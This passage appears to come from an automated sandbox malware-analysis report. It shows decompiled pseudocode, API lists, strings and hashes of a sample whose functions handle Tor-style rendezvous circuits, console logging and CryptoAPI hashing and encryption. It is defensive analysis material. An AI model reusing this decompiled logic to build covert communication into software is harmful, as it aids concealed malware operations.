				 *((long long*)(_t328 + 0x50)) = 0x1d793870;
				 *((long long*)(_t328 + 0x50)) = 0x1d793bd8;
				 *((long long*)(_t328 + 0x58)) = _t259;
				 *((long long*)(_t328 + 0x60)) =  *((intOrPtr*)(_t325 - 0x50));
				 *((long long*)(_t328 + 0x68)) = _t259;
				_t224 = _t328 + 0x50;
				 *((long long*)(_t328 + 0x40)) = _t224;
				r12d = 1;
				 *((intOrPtr*)(_t328 + 0x48)) = r12d;
				if ( *((long long*)(_t368 + 0x30)) == 0) goto 0x1d785822;
				_t38 = _t357 + 1; // 0x2
				E00007FF67FF61D781720(_t38, __edi, 0x1d79d010, "circuit::rendezvous_introduce() rendezvous circuit extend node isn\'t null\n",  *((intOrPtr*)(_t322 + 0x40)));
				r8d = r12d;
				E00007FF67FF61D785604(_t224, _t246, 0x1d79d010, _t322);
				 *((long long*)(_t328 + 0x70)) = _t224;
				 *((long long*)(_t368 + 0x30)) = _t224;
				 *((long long*)(_t328 + 0x70)) =  *((intOrPtr*)(_t368 + 0x30));
				_t43 = _t328 + 0x70; // 0x71
				E00007FF67FF61D786D40(_t246, _t43, _t322);
				_t226 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t368 + 0x30)) + 0x18))));
				 *((intOrPtr*)(_t226 + 8))();
				 *((long long*)(_t325 - 0x70)) =  *_t226;
				 *((long long*)(_t325 - 0x80)) =  *((intOrPtr*)(_t226 + 8));
				 *((char*)(_t328 + 0x30)) = 2;
				r15d = 0;
				_t227 =  *((intOrPtr*)(_t328 + 0x50));
				 *((intOrPtr*)(_t227 + 0x40))();
				_t56 = _t227 - 1; // -1
				_t267 = _t56;
				if (_t267 - 0xfffffffd > 0) goto 0x1d78589f;
				_t372 = __r9 + _t227;
				if (_t372 - _t357 < 0) goto 0x1d785872;
				 *((intOrPtr*)(_t328 + 0x30)) =  *((intOrPtr*)(_t246 + 0x58));
				_t59 = _t328 + 0x33; // 0x34
				 *((char*)(_t328 + _t267 + 0x70)) =  *_t59;
				if (_t267 + _t357 - 4 < 0) goto 0x1d7858ad;
				_t64 = _t328 + 0x70; // 0x71
				_t65 = _t328 + 0x40; // 0x41
				E00007FF67FF61D7848B8(_t246, _t65, _t64, _t361, _t357);
				 *((short*)(_t328 + 0x30)) =  *(_t246 + 0x5c) & 0x0000ffff;
				_t69 = _t328 + 0x40; // 0x41
				E00007FF67FF61D784838(_t246, _t69, _t328 + 0x30, _t321, _t245);
				_t359 =  *((intOrPtr*)(_t246 + 0x70)) -  *((intOrPtr*)(_t246 + 0x68));
				r15d = 0;
				_t228 =  *((intOrPtr*)(_t328 + 0x50));
				 *((intOrPtr*)(_t228 + 0x40))();
				_t76 = _t228 - 1; // -1
				if (_t76 - 0xfffffffd > 0) goto 0x1d785925;
				_t373 = _t372 + _t228;
				if (_t373 - _t359 < 0) goto 0x1d7858fc;
				_t77 = _t328 + 0x70; // 0x71
				E00007FF67FF61D789E50(_t246, _t246, _t77);
				 *((short*)(_t328 + 0x30)) = ( *(_t228 + 8) & 0x0000ffff) -  *_t228;
				_t81 = _t328 + 0x40; // 0x41
				E00007FF67FF61D784838(_t246, _t81, _t328 + 0x30);
				_t82 = _t328 + 0x40; // 0x41
				E00007FF67FF61D789E50(_t246, _t246, _t82);
				asm("movups xmm1, [eax]");
				asm("movdqa xmm0, xmm1");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				asm("dec cx");
				_t374 = _t373 - _t359;
				_t229 =  *((intOrPtr*)(_t328 + 0x50));
				 *((intOrPtr*)(_t229 + 0x40))();
				_t87 = _t229 - 1; // -1
				if (_t87 - 0xfffffffd > 0) goto 0x1d78599e;
				_t247 = _t246 + _t229;
				if (_t247 - _t374 < 0) goto 0x1d785975;
				asm("movups xmm1, [eax]");
				asm("movdqa xmm0, xmm1");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				asm("dec cx");
				_t231 =  *((intOrPtr*)(_t328 + 0x50));
				 *((intOrPtr*)(_t231 + 0x40))();
				_t93 = _t231 - 1; // -1
				if (_t93 - 0xfffffffd > 0) goto 0x1d7859e9;
				_t248 = _t247 + _t231;
				if (_t248 - _t374 - _t359 < 0) goto 0x1d7859c0;
				_t232 =  *((intOrPtr*)(_t328 + 0x50));
				 *((intOrPtr*)(_t232 + 0x40))();
				_t100 = _t232 - 1; // -1
				if (_t100 - 0xfffffffd > 0) goto 0x1d785a1f;
				_t249 = _t248 + _t232;
				if (_t248 + _t232 -  *((intOrPtr*)(_t325 - 0x80)) -  *((intOrPtr*)(_t325 - 0x70)) < 0) goto 0x1d7859f6;
				asm("movups xmm0, [eax]");
				asm("movdqu [ebp-0x70], xmm0");
				 *((long long*)(_t328 + 0x40)) =  *((intOrPtr*)(_t325 - 0x58));
				 *((long long*)(_t328 + 0x48)) =  *((intOrPtr*)(_t325 - 0x50));
				asm("movaps xmm0, [esp+0x40]");
				asm("movdqa [esp+0x40], xmm0");
				_t107 = _t328 + 0x40; // 0x41
				E00007FF67FF61D78B808(( *(_t228 + 8) & 0x0000ffff) -  *_t228, _t248 + _t232, _t325 + 8, _t107, _t320, _t322, _t325 - 0x70,  *((intOrPtr*)(_t322 + 0x40)));
				 *((long long*)(_t328 + 0x40)) =  *((intOrPtr*)(_t325 + 0x30));
				 *((long long*)(_t328 + 0x48)) =  *((intOrPtr*)(_t325 + 0x38));
				asm("movups xmm0, [esp+0x40]");
				asm("movdqu [ebp-0x40], xmm0");
				 *((long long*)(_t328 + 0x40)) =  *((intOrPtr*)(_t325 + 0x10));
				 *((long long*)(_t328 + 0x48)) =  *((intOrPtr*)(_t325 + 0x18));
				asm("movups xmm0, [esp+0x40]");
				asm("movdqu [ebp-0x30], xmm0");
				 *((long long*)(_t328 + 0x40)) = _t325 - 0x40;
				 *((long long*)(_t328 + 0x48)) = _t325 - 0x20;
				asm("movaps xmm0, [esp+0x40]");
				asm("movdqa [esp+0x40], xmm0");
				_t121 = _t328 + 0x40; // 0x41
				_t319 = _t121;
				E00007FF67FF61D786B58(_t248 + _t232, _t325 - 0x18, _t322, _t324);
				 *((long long*)(_t328 + 0x40)) =  *((intOrPtr*)(_t325 - 0x10));
				 *((long long*)(_t328 + 0x48)) =  *((intOrPtr*)(_t325 - 8));
				asm("movaps xmm0, [esp+0x40]");
				asm("movdqa [esp+0x40], xmm0");
				 *((char*)(_t328 + 0x20)) = 3;
				_t128 = _t328 + 0x40; // 0x41
				r8b = 0x22;
				_t365 =  *((intOrPtr*)(_t325 + 0x90));
				E00007FF67FF61D785C58(0, 0, _t195, _t248 + _t232, _t365, _t320, _t322, _t128);
				free(??);
				free(??);
				 *((long long*)(_t328 + 0x50)) = 0x1d793870;
				free(??);
				free(??);
				r8d = 0x7530;
				if (E00007FF67FF61D786248(0xa, _t248 + _t232, _t365, _t320, _t322) != 0) goto 0x1d785bb6;
				E00007FF67FF61D781720(0, _t194, 0x1d79d010, "circuit::rendezvous_introduce() [or: %s, state: introduced]\n",  *((intOrPtr*)(_t322 + 0x40)));
				r8d = 0x7530;
				_t168 = E00007FF67FF61D786248(0xc, _t249, _t368, _t320, _t322);
				E00007FF67FF61D786D40(_t249, _t365 + 0x30, _t319);
				if (_t168 != 0) goto 0x1d785ba3;
				E00007FF67FF61D781720(0, _t194, 0x1d79d010, "circuit::rendezvous_introduce() [or: %s, state: completed]\n",  *((intOrPtr*)(_t322 + 0x40)));
				goto 0x1d785bea;
				E00007FF67FF61D781720(3, _t194, 0x1d79d010, "circuit::rendezvous_introduce() [or: %s, is_rendezvous_completed() == false]\n",  *((intOrPtr*)(_t322 + 0x40)));
				goto 0x1d785be8;
				goto 0x1d785baa;
				r9d =  *((intOrPtr*)(_t319 + 8));
				goto 0x1d785bd7;
				r9d =  *((intOrPtr*)(_t365 + 8));
				E00007FF67FF61D781720(3, _t194, 0x1d79d010, "introduction_point is null  [circuit: %X]\n",  *((intOrPtr*)(_t322 + 0x40)));
				return 0;
			}

0x7ff61d7856b4
0x7ff61d7856b4
0x7ff61d7856b9
0x7ff61d7856be
0x7ff61d7856ce
0x7ff61d7856d3
0x7ff61d7856da
0x7ff61d7856e5
0x7ff61d7856eb
0x7ff61d7856f6
0x7ff61d7856fd
0x7ff61d785708
0x7ff61d78570f
0x7ff61d785715
0x7ff61d785720
0x7ff61d785727
0x7ff61d785732
0x7ff61d785739
0x7ff61d785753
0x7ff61d785758
0x7ff61d785774
0x7ff61d785779
0x7ff61d785781
0x7ff61d785785
0x7ff61d785794
0x7ff61d7857a2
0x7ff61d7857b9
0x7ff61d7857bf
0x7ff61d7857ce
0x7ff61d7857da
0x7ff61d7857df
0x7ff61d7857e4
0x7ff61d7857e9
0x7ff61d7857ee
0x7ff61d7857f3
0x7ff61d7857f8
0x7ff61d7857fe
0x7ff61d785808
0x7ff61d785811
0x7ff61d78581d
0x7ff61d785822
0x7ff61d785828
0x7ff61d78582d
0x7ff61d785836
0x7ff61d78583a
0x7ff61d78583f
0x7ff61d785844
0x7ff61d785851
0x7ff61d785858
0x7ff61d78585e
0x7ff61d785866
0x7ff61d78586a
0x7ff61d78586f
0x7ff61d785872
0x7ff61d78588a
0x7ff61d78588d
0x7ff61d78588d
0x7ff61d785895
0x7ff61d785897
0x7ff61d78589d
0x7ff61d7858a2
0x7ff61d7858a8
0x7ff61d7858af
0x7ff61d7858bd
0x7ff61d7858c7
0x7ff61d7858cc
0x7ff61d7858d1
0x7ff61d7858da
0x7ff61d7858e4
0x7ff61d7858e9
0x7ff61d7858f6
0x7ff61d7858f9
0x7ff61d7858fc
0x7ff61d785910
0x7ff61d785913
0x7ff61d78591b
0x7ff61d78591d
0x7ff61d785923
0x7ff61d785925
0x7ff61d78592d
0x7ff61d785939
0x7ff61d785943
0x7ff61d785948
0x7ff61d78594d
0x7ff61d785955
0x7ff61d78595a
0x7ff61d78595d
0x7ff61d785961
0x7ff61d785966
0x7ff61d78596b
0x7ff61d785970
0x7ff61d785975
0x7ff61d785989
0x7ff61d78598c
0x7ff61d785994
0x7ff61d785996
0x7ff61d78599c
0x7ff61d7859a5
0x7ff61d7859a8
0x7ff61d7859ac
0x7ff61d7859b1
0x7ff61d7859b6
0x7ff61d7859c0
0x7ff61d7859d4
0x7ff61d7859d7
0x7ff61d7859df
0x7ff61d7859e1
0x7ff61d7859e7
0x7ff61d7859f6
0x7ff61d785a0a
0x7ff61d785a0d
0x7ff61d785a15
0x7ff61d785a17
0x7ff61d785a1d
0x7ff61d785a26
0x7ff61d785a29
0x7ff61d785a32
0x7ff61d785a3b
0x7ff61d785a40
0x7ff61d785a45
0x7ff61d785a4f
0x7ff61d785a58
0x7ff61d785a62
0x7ff61d785a6b
0x7ff61d785a70
0x7ff61d785a75
0x7ff61d785a7e
0x7ff61d785a87
0x7ff61d785a8c
0x7ff61d785a91
0x7ff61d785a9a
0x7ff61d785aa3
0x7ff61d785aa8
0x7ff61d785aad
0x7ff61d785ab3
0x7ff61d785ab3
0x7ff61d785abc
0x7ff61d785ac6
0x7ff61d785acf
0x7ff61d785ad4
0x7ff61d785ad9
0x7ff61d785ae1
0x7ff61d785ae6
0x7ff61d785aeb
0x7ff61d785aee
0x7ff61d785af8
0x7ff61d785b02
0x7ff61d785b0d
0x7ff61d785b1b
0x7ff61d785b24
0x7ff61d785b2f
0x7ff61d785b3a
0x7ff61d785b57
0x7ff61d785b62
0x7ff61d785b67
0x7ff61d785b72
0x7ff61d785b7d
0x7ff61d785b8f
0x7ff61d785b9a
0x7ff61d785ba1
0x7ff61d785baf
0x7ff61d785bb4
0x7ff61d785bbd
0x7ff61d785bbf
0x7ff61d785bca
0x7ff61d785bcc
0x7ff61d785be3
0x7ff61d785bfc

APIs

Part of subcall function 00007FF61D781720: GetCurrentThreadId.KERNEL32 ref: 00007FF61D781743
Part of subcall function 00007FF61D781720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF61D7888EE), ref: 00007FF61D781750
Part of subcall function 00007FF61D781720: _cwprintf_s_l.LIBCMT ref: 00007FF61D781791

Part of subcall function 00007FF61D786C44: CryptHashData.ADVAPI32 ref: 00007FF61D786C91
Part of subcall function 00007FF61D786C44: CryptDestroyHash.ADVAPI32 ref: 00007FF61D786CB6

free.MSVCRT ref: 00007FF61D785B02
free.MSVCRT ref: 00007FF61D785B0D
free.MSVCRT ref: 00007FF61D785B24
free.MSVCRT ref: 00007FF61D785B2F

Strings

circuit::rendezvous_introduce() [or: %s, is_rendezvous_introduced() == false], xrefs: 00007FF61D785BB6
circuit::rendezvous_introduce() [or: %s, is_rendezvous_completed() == false], xrefs: 00007FF61D785BA3
circuit::rendezvous_introduce() [or: %s, state: completing], xrefs: 00007FF61D785764
circuit::rendezvous_introduce() rendezvous circuit extend node isn't null, xrefs: 00007FF61D78580A
introducee is null [circuit: %X], xrefs: 00007FF61D785BC3
circuit::rendezvous_introduce() [or: %s, state: completed], xrefs: 00007FF61D785B91
circuit::rendezvous_introduce() [or: %s, state: introduced], xrefs: 00007FF61D785B59
circuit::rendezvous_introduce() [or: %s, state: introducing], xrefs: 00007FF61D785743
introduction_point is null [circuit: %X], xrefs: 00007FF61D785BD0

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CryptHash$CurrentDataDestroyLocalThreadTime_cwprintf_s_l
String ID: circuit::rendezvous_introduce() [or: %s, is_rendezvous_completed() == false]$circuit::rendezvous_introduce() [or: %s, is_rendezvous_introduced() == false]$circuit::rendezvous_introduce() [or: %s, state: completed]$circuit::rendezvous_introduce() [or: %s, state: completing]$circuit::rendezvous_introduce() [or: %s, state: introduced]$circuit::rendezvous_introduce() [or: %s, state: introducing]$circuit::rendezvous_introduce() rendezvous circuit extend node isn't null$introducee is null [circuit: %X]$introduction_point is null [circuit: %X]
API String ID: 3705592166-1875301337
Opcode ID: a1da43fdc6a851103a2a62d8e63e364f139f41d45c136dfeabfb93127f6e413f
Instruction ID: aa768c1bfae3e4c246428e6fcdfed8824ab6a34fbecf2de8363acb407dd86a27
Opcode Fuzzy Hash: a1da43fdc6a851103a2a62d8e63e364f139f41d45c136dfeabfb93127f6e413f
Instruction Fuzzy Hash: 56F18E72A18F8582EB00CF68E4401ADB7B0FB95BA4F505232EB9D97798EF78D549C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D7879FC Relevance: 10.7, APIs: 7, Instructions: 178encryptionCOMMON

Download Yara Rule

APIs

CryptHashData.ADVAPI32 ref: 00007FF61D787B5B
CryptDuplicateHash.ADVAPI32 ref: 00007FF61D787B76
CryptDestroyHash.ADVAPI32 ref: 00007FF61D787B9C
free.MSVCRT ref: 00007FF61D787BB7
memmove.MSVCRT ref: 00007FF61D787C05
free.MSVCRT ref: 00007FF61D787C62
free.MSVCRT ref: 00007FF61D787C6D

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptHashfree$DataDestroyDuplicatememmove
String ID:
API String ID: 2859014979-0
Opcode ID: 4a87dc9e70c951a95d68dfdd8607f2bcb026405cc1eefc5083a608a63cebe0b4
Instruction ID: ee2e04149a14738bed713cd9f7e31b150cc4e17ed2ccf728667514a06135cead
Opcode Fuzzy Hash: 4a87dc9e70c951a95d68dfdd8607f2bcb026405cc1eefc5083a608a63cebe0b4
Instruction Fuzzy Hash: 3F813476B04F419AEB00DFA5D4401EC7376FB44BA8B405266DE1EA7B98EE38E51AC340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D792D08 Relevance: 10.5, APIs: 7, Instructions: 47COMMON

Download Yara Rule

APIs

BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF61D792D20
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF61D792D34
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF61D792D48
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF61D792D5C
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF61D792D70
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF61D792D84
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF61D792DA0

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: AlgorithmCloseCryptProvider
String ID:
API String ID: 3378198380-0
Opcode ID: dcb4f9709ccf24490bd7983a2e59aba1c072295f75c8ca4aa74adf5da9191020
Instruction ID: d27923aa30b4af17f2546179ff6c4525bac3a1d433234bfd1ded31afde709e4e
Opcode Fuzzy Hash: dcb4f9709ccf24490bd7983a2e59aba1c072295f75c8ca4aa74adf5da9191020
Instruction Fuzzy Hash: 2311DD2BF1AE0291FE9DEB26E9946351361EFC4FB4F589531C80E82564EE3DE44D9200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D781720 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41
threadtimeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF67FF61D781720(void* __edx, void* __edi, intOrPtr* __rcx, long long __r8, long long __r9) {
				signed short _v42;
				signed short _v44;
				signed short _v46;
				signed short _v48;
				void* _v56;
				signed int _v72;
				signed int _v80;
				signed int _v88;
				long _t16;
				void* _t17;
				void* _t25;
				void* _t41;
				struct _SYSTEMTIME* _t47;

				_t25 = _t41;
				 *((long long*)(_t25 + 0x18)) = __r8;
				 *((long long*)(_t25 + 0x20)) = __r9;
				if (__edi -  *__rcx < 0) goto 0x1d7817a6;
				_t16 = GetCurrentThreadId();
				GetLocalTime(_t47);
				r10d = _v44 & 0x0000ffff;
				r11d = _v46 & 0x0000ffff;
				r8d = _t16;
				r9d = _v48 & 0x0000ffff;
				_v72 = _v42 & 0x0000ffff;
				_v80 = r10d;
				_v88 = r11d;
				_t17 = E00007FF67FF61D78164C("[%X]: [%02u:%02u:%02u.%03u] ", __r8, __r9);
				E00007FF67FF61D781670();
				return _t17;
			}

0x7ff61d781720
0x7ff61d781723
0x7ff61d781727
0x7ff61d781741
0x7ff61d781743
0x7ff61d781750
0x7ff61d781762
0x7ff61d78176f
0x7ff61d781775
0x7ff61d781778
0x7ff61d78177e
0x7ff61d781787
0x7ff61d78178c
0x7ff61d781791
0x7ff61d7817a1
0x7ff61d7817b0

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF61D781743
GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF61D7888EE), ref: 00007FF61D781750
_cwprintf_s_l.LIBCMT ref: 00007FF61D781791

Part of subcall function 00007FF61D781670: EnterCriticalSection.KERNEL32 ref: 00007FF61D7816A4
Part of subcall function 00007FF61D781670: GetStdHandle.KERNEL32 ref: 00007FF61D7816B0
Part of subcall function 00007FF61D781670: GetConsoleScreenBufferInfo.KERNEL32 ref: 00007FF61D7816BE
Part of subcall function 00007FF61D781670: GetStdHandle.KERNEL32 ref: 00007FF61D7816C9
Part of subcall function 00007FF61D781670: SetConsoleTextAttribute.KERNEL32 ref: 00007FF61D7816D5
Part of subcall function 00007FF61D781670: vprintf.MSVCRT ref: 00007FF61D7816E1
Part of subcall function 00007FF61D781670: GetStdHandle.KERNEL32 ref: 00007FF61D7816EC
Part of subcall function 00007FF61D781670: SetConsoleTextAttribute.KERNEL32 ref: 00007FF61D7816FA

Strings

[%X]: [%02u:%02u:%02u.%03u] , xrefs: 00007FF61D781768

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: ConsoleHandle$AttributeText$BufferCriticalCurrentEnterInfoLocalScreenSectionThreadTime_cwprintf_s_lvprintf
String ID: [%X]: [%02u:%02u:%02u.%03u]
API String ID: 819107525-676204660
Opcode ID: 39dd30e3948694960fbd28f3b172c35de1c472d5c1ba0ad811419756d3ab0eec
Instruction ID: 94688e7022031772ed2a9620da12284c639dcb15e9ebe73eae6a471b598ec2a8
Opcode Fuzzy Hash: 39dd30e3948694960fbd28f3b172c35de1c472d5c1ba0ad811419756d3ab0eec
Instruction Fuzzy Hash: 1A01A973A08A22A6E3144F05B4414B9BB71F789FB6F100235EE8983644EF3CD49ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78776C Relevance: 6.2, APIs: 4, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF61D787128: CryptCreateHash.ADVAPI32 ref: 00007FF61D78714C

CryptHashData.ADVAPI32 ref: 00007FF61D7878EE
CryptHashData.ADVAPI32 ref: 00007FF61D787917

Part of subcall function 00007FF61D787EE4: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,000000D8,00007FF61D787956), ref: 00007FF61D787F73
Part of subcall function 00007FF61D787EE4: CryptImportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000D8,00007FF61D787956), ref: 00007FF61D787FA0

Part of subcall function 00007FF61D787CD8: memset.MSVCRT ref: 00007FF61D787CF2

CryptDestroyKey.ADVAPI32 ref: 00007FF61D787970
CryptDestroyKey.ADVAPI32 ref: 00007FF61D7879CD

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: Crypt$Hash$DataDestroy$CreateImportmemmovememset
String ID:
API String ID: 2495588091-0
Opcode ID: 54e6f5ad6bab622a8e2d50f6aa7b3d51996e64575eb13c04cb89ff8d8b015faa
Instruction ID: 94560bae7b81a635cd9c47befc5712e147f9153dd4c5e33be9027b7e56010720
Opcode Fuzzy Hash: 54e6f5ad6bab622a8e2d50f6aa7b3d51996e64575eb13c04cb89ff8d8b015faa
Instruction Fuzzy Hash: 53714C33A19F819AEB20CF64F84059EB7B4F788768F505225EB8D53A58EF38D559CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D787D74 Relevance: 4.6, APIs: 3, Instructions: 79encryptionCOMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00007FF61D787DE8
memmove.MSVCRT ref: 00007FF61D787E12
CryptEncrypt.ADVAPI32 ref: 00007FF61D787E48

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: memmove$CryptEncrypt
String ID:
API String ID: 1967202165-0
Opcode ID: ee8136f29102df31219c87daaef567bc1eca235a59277cb58348737ee3630102
Instruction ID: 01d74324cdd6786dcfb7634a8e29a9354769426e0ccb590b4e6cf6cd586d2807
Opcode Fuzzy Hash: ee8136f29102df31219c87daaef567bc1eca235a59277cb58348737ee3630102
Instruction Fuzzy Hash: CC31B273714B9096DB148F29D5502A9B760F785FA0F548335DBAD83B85EF78E4AAC300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D782A90 Relevance: 3.9, APIs: 3, Instructions: 108
COMMONCrypto

Download Yara Rule

C-Code - Quality: 53%

			E00007FF67FF61D782A90(void* __ebx, void* __eflags, long long __rcx, intOrPtr* __rdx, void* __r8) {
				signed char _t30;
				signed char _t35;
				void* _t57;
				void* _t61;
				int _t71;
				unsigned long long _t73;
				int _t92;
				void* _t94;
				unsigned long long _t96;
				void* _t98;
				void* _t101;
				void* _t102;
				void* _t104;
				unsigned long long _t108;
				void* _t115;
				void* _t118;
				void* _t121;

				_t104 = __r8;
				 *((long long*)(_t101 + 8)) = __rcx;
				_t102 = _t101 - 0x30;
				 *((long long*)(_t102 + 0x28)) = 0xfffffffe;
				 *(_t102 + 0x20) =  *(_t102 + 0x20) & 0x00000000;
				_t30 = E00007FF67FF61D7825F4( *((intOrPtr*)(__rdx + 8)) -  *__rdx, __rcx, _t121);
				 *(_t102 + 0x20) = 1;
				_t73 =  *((intOrPtr*)(__rdx + 8)) -  *__rdx;
				_t96 = _t73 >> 3;
				if (_t96 == 0) goto 0x1d782b5d;
				r14d = 0;
				r8d = 0;
				asm("sbb al, al");
				_t57 = _t104 + 1 - 8;
				if (_t57 < 0) goto 0x1d782b00;
				 *((char*)(_t102 + 0x78)) =  *((intOrPtr*)(_t104 +  *__rdx + _t98 * 8)) - (_t30 & 0x000000b7) + 0x00000061 & 0x000000ff;
				if (_t57 >= 0) goto 0x1d782b29;
				r8d = 5;
				memmove(_t118, _t115, _t92);
				if (_t98 + 1 - _t96 < 0) goto 0x1d782af3;
				 *(_t102 + 0x80) =  *(_t102 + 0x80) & 0x00000000;
				if (_t73 == 0) goto 0x1d782b83;
				_t108 = _t73;
				_t35 = memmove(_t94, _t98, _t71);
				r8d = 0;
				asm("sbb al, al");
				_t61 = _t108 + 1 - 8;
				if (_t61 < 0) goto 0x1d782b88;
				 *((char*)(_t102 + 0x78)) =  *((intOrPtr*)(_t102 + _t108 + 0x80)) - (_t35 & 0x000000b7) + 0x00000061 & 0x000000ff;
				if (_t61 >= 0) goto 0x1d782bb3;
				return memmove(??, ??, ??);
			}

0x7ff61d782a90
0x7ff61d782a90
0x7ff61d782a9f
0x7ff61d782aa3
0x7ff61d782ab2
0x7ff61d782ac6
0x7ff61d782acb
0x7ff61d782ad8
0x7ff61d782adf
0x7ff61d782aee
0x7ff61d782af0
0x7ff61d782afd
0x7ff61d782b07
0x7ff61d782b1c
0x7ff61d782b20
0x7ff61d782b2f
0x7ff61d782b38
0x7ff61d782b41
0x7ff61d782b4c
0x7ff61d782b5b
0x7ff61d782b5d
0x7ff61d782b69
0x7ff61d782b73
0x7ff61d782b7e
0x7ff61d782b85
0x7ff61d782b93
0x7ff61d782ba8
0x7ff61d782bac
0x7ff61d782bbb
0x7ff61d782bc4
0x7ff61d782bf1

APIs

memmove.MSVCRT ref: 00007FF61D782B4C
memmove.MSVCRT ref: 00007FF61D782B7E
memmove.MSVCRT ref: 00007FF61D782BDB

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

